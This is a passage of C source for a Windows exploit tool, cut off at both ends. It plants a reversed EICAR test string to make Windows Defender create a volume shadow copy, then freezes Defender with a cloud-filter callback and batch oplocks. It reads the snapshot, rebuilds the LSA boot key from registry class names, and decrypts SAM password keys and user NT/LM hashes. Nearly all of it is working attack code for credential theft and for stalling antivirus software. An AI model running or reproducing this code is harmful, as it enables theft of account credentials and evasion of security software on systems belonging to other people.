wchar_t newvsspath[MAX_PATH] = { 0 };
wcscpy(newvsspath, L"\\Device\\");
bool criterr = false;
int vscnum = 0;
bool restartscan = false;
ULONG scanctx = 0;
ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
ULONG retsz = 0;
OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL;
bool srchfound = false;
wchar_t vsswinpath[MAX_PATH] = { 0 };
UNICODE_STRING _vsswinpath = { 0 };
OBJECT_ATTRIBUTES objattr2 = { 0 };
IO_STATUS_BLOCK iostat = { 0 };
HANDLE hlk = NULL;
LLShadowVolumeNames* vsinitial = NULL;
stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
if (stat)
{
printf("Failed to open object manager directory, error : 0x%0.8X", stat);
retval = RtlNtStatusToDosError(stat);
return retval;
}
void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
if (!emptybuff)
{
printf("Failed to allocate memory !!!");
retval = ERROR_NOT_ENOUGH_MEMORY;
goto cleanup;
}
ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval);
if (criterr)
{
printf("Unexpected error while listing current volume shadow copy volumes\n");
goto cleanup;
}
if (!vsinitial)
{
printf("No volume shadow copies were found.\n");
}
else
{
printf("Found %d volume shadow copies\n", vscnum);
}
stat = STATUS_SUCCESS;
scanagain:
do
{
if (objdirinfo)
free(objdirinfo);
objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
if (!objdirinfo)
{
printf("Failed to allocate required buffer to query object manager directory.\n");
retval = ERROR_NOT_ENOUGH_MEMORY;
goto cleanup;
}
ZeroMemory(objdirinfo, reqsz);
scanctx = 0;
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
if (stat == STATUS_SUCCESS)
break;
else if (stat != STATUS_MORE_ENTRIES)
{
printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
retval = RtlNtStatusToDosError(stat);
goto cleanup;
}
reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
} while (1);
for (ULONG i = 0; i < ULONG_MAX; i++)
{
if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
{
break;
}
if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
{
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
{
if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
{
// check against the list if there this is a unique VS Copy
LLShadowVolumeNames* current = vsinitial;
bool found = false;
while (current)
{
if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
{
found = true;
break;
}
current = current->next;
}
if (found)
continue;
else
{
srchfound = true;
wcscat(newvsspath, objdirinfo[i].Name.Buffer);
break;
}
}
}
}
}
if (!srchfound) {
restartscan = true;
goto scanagain;
}
if (objdirinfo) {
free(objdirinfo);
objdirinfo = NULL;
}
NtClose(hobjdir);
hobjdir = NULL;
printf("New volume shadow copy detected : %ws\n", newvsspath);
wcscpy(vsswinpath, newvsspath);
wcscat(vsswinpath, L"\\Windows");
RtlInitUnicodeString(&_vsswinpath, vsswinpath);
InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
retry:
stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);
if (stat == STATUS_NO_SUCH_DEVICE)
goto retry;
if (stat)
{
printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat);
retval = RtlNtStatusToDosError(stat);
goto cleanup;
}
printf("Successfully accessed volume shadow copy.\n");
CloseHandle(hlk);
if (fullvsspath)
wcscpy((wchar_t*)fullvsspath, newvsspath);
cleanup:
if (hobjdir)
NtClose(hobjdir);
if (emptybuff)
free(emptybuff);
if (vsinitial)
DestroyVSSNamesList(vsinitial);
return retval;
}
DWORD GetWDPID()
{
static DWORD retval = 0;
if (retval)
return retval;
SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (!scmgr)
return 0;
SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS);
CloseServiceHandle(scmgr);
if (!hsvc)
return 0;
SERVICE_STATUS_PROCESS ssp = { 0 };
DWORD reqsz = sizeof(ssp);
bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz);
CloseServiceHandle(hsvc);
if (!res)
return 0;
retval = ssp.dwProcessId;
return retval;
}
void CfCallbackFetchPlaceHolders(
_In_ CONST CF_CALLBACK_INFO* CallbackInfo,
_In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
printf("CfCallbackFetchPlaceHolders triggered !\n");
CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo;
wchar_t* procname = PathFindFileName(cpi->ImagePath);
printf("Directory query from %ws\n", procname);
if (GetWDPID() == cpi->ProcessId)
{
cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext;
SetEvent(ctx->hnotifywdaccess);;
printf("Defender flagged.\n");
CF_OPERATION_INFO cfopinfo = { 0 };
cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
cfopinfo.TransferKey = CallbackInfo->TransferKey;
cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
cfopinfo.RequestKey = CallbackInfo->RequestKey;
//STATUS_CLOUD_FILE_REQUEST_TIMEOUT
SYSTEMTIME systime = { 0 };
FILETIME filetime = { 0 };
GetSystemTime(&systime);
SystemTimeToFileTime(&systime, &filetime);
FILE_BASIC_INFO filebasicinfo = { 0 };
filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} };
CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
GUID uid = { 0 };
RPC_WSTR wuid = { 0 };
UuidCreate(&uid);
UuidToStringW(&uid, &wuid);
wchar_t* wuid2 = (wchar_t*)wuid;
placeholder[0].RelativeFileName = ctx->filename;
placeholder[0].FsMetadata = fsmetadata;
UuidCreate(&uid);
UuidToStringW(&uid, &wuid);
wuid2 = (wchar_t*)wuid;
placeholder[0].FileIdentity = wuid2;
placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t);
placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE;
CF_OPERATION_PARAMETERS cfopparams = { 0 };
cfopparams.ParamSize = sizeof(cfopparams);
cfopparams.TransferPlaceholders.PlaceholderCount = 1;
cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1;
cfopparams.TransferPlaceholders.EntriesProcessed = 0;
cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
cfopparams.TransferPlaceholders.PlaceholderArray = placeholder;
WaitForSingleObject(ctx->hnotifylockcreated, INFINITE);
HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
printf("CfExecute returned : 0x%0.8X\n", hs);
return;
}
CF_OPERATION_INFO cfopinfo = { 0 };
cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
cfopinfo.TransferKey = CallbackInfo->TransferKey;
cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
cfopinfo.RequestKey = CallbackInfo->RequestKey;
CF_OPERATION_PARAMETERS cfopparams = { 0 };
cfopparams.ParamSize = sizeof(cfopparams);
cfopparams.TransferPlaceholders.PlaceholderCount = 0;
cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0;
cfopparams.TransferPlaceholders.EntriesProcessed = 0;
cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
cfopparams.TransferPlaceholders.PlaceholderArray = { 0 };
HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
printf("CfExecute : 0x%0.8X\n", hs);
return;
}
DWORD WINAPI FreezeVSS(void* arg)
{
cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg;
if (!args)
return ERROR_BAD_ARGUMENTS;
HANDLE hlock = NULL;
HRESULT hs;
CF_SYNC_REGISTRATION cfreg = { 0 };
cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
cfreg.ProviderName = L"IHATEMICROSOFT";
cfreg.ProviderVersion = L"1.0";
CF_SYNC_POLICIES syncpolicy = { 0 };
syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;
syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
CF_CALLBACK_REGISTRATION callbackreg[2];
callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders };
callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL };
CF_CONNECTION_KEY cfkey = { 0 };
OVERLAPPED ovd = { 0 };
DWORD nwf = 0;
//wchar_t syncroot[] = L"C:\\temp";
wchar_t syncroot[MAX_PATH] = { 0 };
GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH);
*(PathFindFileName(syncroot) - 1) = L'\0';
DWORD retval = STATUS_SUCCESS;
wchar_t lockfile[MAX_PATH];
wcscpy(lockfile, syncroot);
wcscat(lockfile, L"\\");
GUID uid = { 0 };
RPC_WSTR wuid = { 0 };
UuidCreate(&uid);
UuidToStringW(&uid, &wuid);
wchar_t* wuid2 = (wchar_t*)wuid;
wcscat(lockfile, wuid2);
wcscat(lockfile, L".lock");
cldcallbackctx callbackctx = { 0 };
bool syncrootregistered = false;
callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL);
callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess)
{
printf("Failed to create event, error : %d", GetLastError());
retval = GetLastError();
goto cleanup;
}
wcscpy(callbackctx.filename, wuid2);
wcscat(callbackctx.filename, L".lock");
hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (!hlock || hlock == INVALID_HANDLE_VALUE)
{
printf("Failed to create lock file %ws error : %d", lockfile, GetLastError());
retval = GetLastError();
goto cleanup;
}
//CreateDirectory(syncroot, NULL);
hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE);
if (hs)
{
printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
retval = ERROR_UNIDENTIFIED_ERROR;
goto cleanup;
}
syncrootregistered = true;
hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
if (hs)
{
printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
retval = ERROR_UNIDENTIFIED_ERROR;
goto cleanup;
}
if (args->hlock) {
CloseHandle(args->hlock);
args->hlock = NULL;
}
printf("Waiting for callback...\n");
WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE);
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!ovd.hEvent)
{
printf("Failed to create event, error : %d\n", GetLastError());
retval = GetLastError();
goto cleanup;
}
DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
if (GetLastError() != ERROR_IO_PENDING)
{
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
retval = GetLastError();
goto cleanup;
}
SetEvent(callbackctx.hnotifylockcreated);
printf("Waiting for oplock to trigger...\n");
GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
printf("WD is frozen and the new VSS can be used.\n");
SetEvent(args->hvssready);
WaitForSingleObject(args->hcleanupevent, INFINITE);
cleanup:
if (hlock)
CloseHandle(hlock);
if (callbackctx.hnotifylockcreated)
CloseHandle(callbackctx.hnotifylockcreated);
if (callbackctx.hnotifywdaccess)
CloseHandle(callbackctx.hnotifywdaccess);
if (ovd.hEvent)
CloseHandle(ovd.hEvent);
if (syncrootregistered)
{
CfDisconnectSyncRoot(cfkey);
CfUnregisterSyncRoot(syncroot);
}
return retval;
}
bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath)
{
GUID uid = { 0 };
RPC_WSTR wuid = { 0 };
UuidCreate(&uid);
UuidToStringW(&uid, &wuid);
wchar_t* wuid2 = (wchar_t*)wuid;
wchar_t workdir[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH);
wcscat(workdir, wuid2);
wchar_t eicarfilepath[MAX_PATH] = { 0 };
wcscpy(eicarfilepath,workdir);
wcscat(eicarfilepath,L"\\foo.exe");
HANDLE hlock = NULL;
wchar_t rstmgr[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH);
OVERLAPPED ovd = { 0 };
char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
rev(eicar);
DWORD nwf = 0;
cloudworkerthreadargs cldthreadargs = { 0 };
DWORD tid = 0;
HANDLE hthread = NULL;
bool dircreated = false;
bool retval = true;
HANDLE hfile = NULL;
HANDLE trigger = NULL;
HANDLE hthread2 = NULL;
HANDLE hobj[2] = { 0 };
DWORD exitcode = STATUS_SUCCESS;
DWORD waitres = 0;
hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid);
if (!hthread)
{
printf("Failed to create worker thread, error : %d", GetLastError());
retval = false;
goto cleanup;
}
dircreated = CreateDirectory(workdir, NULL);
if (!dircreated)
{
printf("Failed to create working directory, error : %d\n",GetLastError());
retval = false;
goto cleanup;
}
hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (!hfile || hfile == INVALID_HANDLE_VALUE)
{
printf("Failed to create eicar test file, error : %d\n", GetLastError());
retval = false;
goto cleanup;
}
if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL))
{
printf("Failed to write eicar test file, error : %d\n", GetLastError());
retval = false;
goto cleanup;
}
hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
if (!hlock || hlock == INVALID_HANDLE_VALUE)
{
printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError());
retval = false;
goto cleanup;
}
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!ovd.hEvent)
{
printf("Failed to create event object with error : %d !!!!\n", GetLastError());
retval = false;
goto cleanup;
}
SetLastError(ERROR_SUCCESS);
DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
if (GetLastError() != ERROR_IO_PENDING)
{
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
retval = false;
goto cleanup;
}
// trigger wd for action
trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (trigger && trigger != INVALID_HANDLE_VALUE)
CloseHandle(trigger);
printf("Waiting for oplock to trigger...\n");
GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
printf("Oplock triggered.\n");
if (!GetExitCodeThread(hthread, &exitcode))
{
printf("Unexpected error while getting worker thread exit code");
retval = false;
goto cleanup;
}
if (exitcode)
{
printf("Failed to get new volume shadow copy path");
retval = false;
goto cleanup;
}
cldthreadargs.hcleanupevent = hreleaseevent;
cldthreadargs.hlock = hlock;
cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL);
hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid);
if (!hthread2) {
printf("Unable to create worker thread, error : %d", GetLastError());
retval = false;
goto cleanup;
}
hobj[0] = hthread2;
hobj[1] = cldthreadargs.hvssready;
waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE);
if (waitres - WAIT_OBJECT_0 == 0)
{
printf("Unable to freeze WD, thread exited prematurely.\n");
retval = false;
}
cleanup:
if (hthread)
CloseHandle(hthread);
if(hthread2)
CloseHandle(hthread2);
if(cldthreadargs.hvssready)
CloseHandle(cldthreadargs.hvssready);
if (ovd.hEvent)
CloseHandle(ovd.hEvent);
if (hfile)
CloseHandle(hfile);
if (dircreated)
RemoveDirectory(workdir);
return retval;
}
//////////////////////////////////////////////////////////////////////
// Volume shadow copy functions end
/////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
// SAM handling start
/////////////////////////////////////////////////////////////////////
#define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc
#define SAM_DATABASE_USERNAME_OFFSET 0x0c
#define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10
#define SAM_DATABASE_LM_HASH_OFFSET 0x9c
#define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0
#define SAM_DATABASE_NT_HASH_OFFSET 0xa8
#define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac
struct PwdEnc
{
char* buff;
size_t sz;
wchar_t* username;
ULONG usernamesz;
char* LMHash;
ULONG LMHashLenght;
char* NTHash;
ULONG NTHashLenght;
ULONG rid;
};
NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted);
NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle);
NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle);
NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle);
NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM);
void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) {
size_t len = strlen(hex_string);
if (len % 2 != 0) {
fprintf(stderr, "Error: Hex string length must be even.\n");
return;
}
size_t byte_len = len / 2;
if (byte_len > max_len) {
fprintf(stderr, "Error: Output buffer too small.\n");
return;
}
for (size_t i = 0; i < byte_len; i++) {
// Read two hex characters and convert them to an unsigned int
unsigned int byte_val;
if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) {
fprintf(stderr, "Error: Invalid hex character in string.\n");
return;
}
byte_array[i] = (unsigned char)byte_val;
}
}
bool GetLSASecretKey(unsigned char bootkeybytes[16])
{
const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} };
int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };
//ORHKEY hlsa = NULL;
HKEY hlsa = NULL;
DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa);
char data[0x1000] = { 0 };
DWORD index = 0;
for (const wchar_t* keyname : keynames)
{
DWORD retsz = sizeof(data) / sizeof(char);
HKEY hbootkey = NULL;
err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey);
err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
index += retsz;
RegCloseKey(hbootkey);
}
//printf("%s\n", data);
RegCloseKey(hlsa);
if (strlen(data) < 16)
{
printf("Boot key mismatch.");
return 1;
}
// convert hex string to binary
unsigned char keybytes[16] = { 0 };
hex_string_to_bytes(data, keybytes, 16);
for (int i = 0; i < sizeof(keybytes); i++)
{
bootkeybytes[i] = keybytes[indices[i]];
}
return true;
}
void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen)
{
char* decrypted = (char*)malloc(enclen);
memmove(decrypted, hashdata, enclen);
HCRYPTPROV hprov = NULL;
CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
struct aes128keyBlob
{
BLOBHEADER hdr;
DWORD keySize;
BYTE bytes[16];
} blob;
blob.hdr.bType = PLAINTEXTKEYBLOB;
blob.hdr.bVersion = CUR_BLOB_VERSION;
blob.hdr.reserved = 0;
blob.hdr.aiKeyAlg = CALG_AES_128;
blob.keySize = 16;
memmove(blob.bytes, lsaKey, 16);
HCRYPTKEY hcryptkey = NULL;
CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey);
DWORD mode = CRYPT_MODE_CBC;
CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL);
CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
DWORD retsz = enclen;
CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
/*
EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
int fulllen = 0;
int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv);
if (!retval)
return NULL;
//int decryptedsz = enclen;
retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen);
if (!retval)
return NULL;
retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen);
EVP_CIPHER_CTX_free(en);
if (!retval)
return NULL;
*/
if (decryptedlen)
*decryptedlen = retsz;
return decrypted;
}
#ifndef SHA256_DIGEST_LENGTH
#define SHA256_DIGEST_LENGTH 32
#endif
bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH])
{
char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH);
ZeroMemory(data2, SHA256_DIGEST_LENGTH);
HCRYPTPROV hprov = NULL;
CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
HCRYPTHASH Hhash = NULL;
CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash);
CryptHashData(Hhash, (const BYTE*)data, size, NULL);
DWORD md_len = 0;
DWORD inputsz = sizeof(md_len);
CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
//inputsz = size;
CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL);
CryptDestroyHash(Hhash);
CryptReleaseContext(hprov, NULL);
/*
EVP_MD_CTX* en = EVP_MD_CTX_new();
bool retval = EVP_DigestInit(en, EVP_sha256());
if (!retval)
return retval;
retval = EVP_DigestUpdate(en, data, size);
if (!retval)
return retval;
EVP_DigestFinal(en, (unsigned char*)hashout, NULL);
*/
//return retval;
return true;
}
void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz)
{
int hashlen = data[0];
int enclen = data[4];
char iv[16] = { 0 };
memmove(iv, &data[8], sizeof(iv));
char* cyphertext = (char*)malloc(enclen);
memmove(cyphertext, &data[0x18], enclen);
// first arg, lsaKey | second arg, iv | thid arg, ciphertext
int outsz = 0;
int pekoutsz = 0;
char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz);
char* hashdata = (char*)malloc(hashlen);
memmove(hashdata, &data[0x18 + enclen], hashlen);
char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz);
char hash256[SHA256_DIGEST_LENGTH];
if (!ComputeSHA256(pek, pekoutsz, hash256))
{
return NULL;
}
if (memcmp(hash256, hash, sizeof(hash256)) != 0)
{
printf("Invalid AES password key.\n");
return NULL;
}
if (keysz)
*keysz = sizeof(hash256);
return pek;
}
void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz)
{
int enctype = samKey[0x68];
if (enctype == 2) {
int endofs = samKey[0x6c] + 0x68;
int len = endofs - 0x70;
char* data = (char*)malloc(len);
memmove(data, &samKey[0x70], len);
void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz);
return retval;
}
__debugbreak();
return NULL;
}
void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz)
{
int length = data[4];
if (!length)
return NULL;
char iv[16] = { 0 };
memmove(iv, &data[8], sizeof(iv));
int ciphertextsz = datasz - 24;
char* ciphertext = (char*)malloc(ciphertextsz);
memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz);
return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz);
}
void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz)
{
int enctype = data[2];
switch (enctype)
{
case 2:
return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz);
break;
default:
__debugbreak();
break;
}
return NULL;
}
void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz)
{
char* ciphertext2 = (char*)malloc(ciphertextsz);
memmove(ciphertext2, ciphertext, ciphertextsz);
HCRYPTPROV hprov = NULL;
CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
struct deskeyBlob
{
BLOBHEADER hdr;
DWORD keySize;
BYTE bytes[8];
}blob;
//deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz);
blob.hdr.bType = PLAINTEXTKEYBLOB;
blob.hdr.bVersion = CUR_BLOB_VERSION;
blob.hdr.reserved = 0;
blob.hdr.aiKeyAlg = CALG_DES;
blob.keySize = 8;
memmove(blob.bytes, key, 8);
HCRYPTKEY hcryptkey = NULL;
CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey);
DWORD mode = CRYPT_MODE_ECB;
CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
DWORD retsz = ciphertextsz;
CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz);
if (outsz)
*outsz = 8;
//printf("GetLastError : %x\n", GetLastError());
CryptReleaseContext(hprov, NULL);
return ciphertext2;
/*
DWORD mode = CRYPT_MODE_ECB;
CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
printf("GetLastError : %x\n", GetLastError());
DWORD retsz = enclen;
CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
printf("GetLastError : %x\n", GetLastError());
*/
/*
OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy");
if (legacy == NULL)
{
printf("Failed to load Legacy provider\n");
}
EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
int fulllen = 0;
int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL);
char* plaintext = (char*)malloc(ciphertextsz);
int _outsz = 0;
retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz);
int _outlen = 0;
retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen);
if (outsz)
*outsz = _outsz;
return plaintext;
*/
}
char* DeriveDESKey(char data[7])
{
union keyderv {
struct {
char arr[8];
};
SIZE_T derv;
};
keyderv ttv = { 0 };
ZeroMemory(ttv.arr, sizeof(ttv.arr));
memmove(ttv.arr, data, sizeof(data) - 1);
SIZE_T k = ttv.derv;
char* key = (char*)malloc(sizeof(data));
for (int i = 0; i < 8; i++)
{
int j = 7 - i;
int curr = (k >> (7 * j)) & 0x7F;
int b = curr;
b ^= b >> 4;
b ^= b >> 2;
b ^= b >> 1;
int keybyte = (curr << 1) ^ (b & 1) ^ 1;
key[i] = (char)keybyte;
}
return key;
}
void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid)
{
union keydata {
struct {
char a;
char b;
char c;
char d;
};
ULONG data;
};
keydata keycontent = { 0 };
